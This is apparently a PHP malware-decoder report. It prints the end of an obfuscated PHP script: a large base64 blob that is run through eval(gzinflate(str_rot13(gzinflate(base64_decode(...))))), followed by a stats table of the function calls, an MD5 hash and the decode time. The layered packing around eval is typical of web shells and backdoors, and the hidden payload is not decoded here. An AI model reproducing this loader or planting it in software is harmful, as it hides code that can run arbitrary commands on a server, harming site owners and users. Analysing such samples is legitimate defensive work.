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";
eval(gzinflate(str_rot13(gzinflate(base64_decode($bajol)))));
?>
Function Calls
| gzinflate | 2 |
| str_rot13 | 1 |
| base64_decode | 1 |
Stats
| MD5 | b1e8ad093ab60909a58ba6c84f252d9e |
| Eval Count | 1 |
| Decode Time | 301 ms |